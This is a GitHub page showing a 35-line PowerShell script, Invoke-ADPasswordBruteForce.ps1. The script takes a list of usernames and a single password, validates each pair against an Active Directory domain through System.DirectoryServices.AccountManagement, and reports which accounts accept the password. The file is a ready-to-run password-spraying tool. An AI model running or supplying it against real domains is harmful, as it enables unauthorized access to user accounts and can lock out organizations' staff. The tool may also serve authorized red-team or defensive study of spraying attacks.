-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathInvoke-ADPasswordBruteForce.ps1
More file actions
35 lines (31 loc) · 1.01 KB
/
Copy pathInvoke-ADPasswordBruteForce.ps1
File metadata and controls
35 lines (31 loc) · 1.01 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
Function Invoke-ADPasswordBruteForce {
param(
[Parameter(Mandatory=$True, ValueFromPipeline=$true)]
[string]$Username,
[Parameter(Mandatory=$True)]
[string]$Password,
[Parameter(Mandatory=$False)]
[string]$Domain = (Get-Item env:USERDOMAIN).Value
)
BEGIN {
Write-Output "[+] Brute forcing users against the ""$($Domain)"" domain using the password ""$($Password)"""
}
PROCESS {
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
ForEach($User in $Username) {
Try {
$Context = [System.DirectoryServices.AccountManagement.ContextType]::Domain
$PrincipalContext = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($Context, $Domain)
If($PrincipalContext.ValidateCredentials($User, $password) -eq $True) {
Write-Output "[+] $($User) password is $($Password)"
}
} Catch {
Write-Output "[-] Error reaching the server. Aborting"
exit
}
}
}
END {
Write-Output "[+] Process completed..."
}
}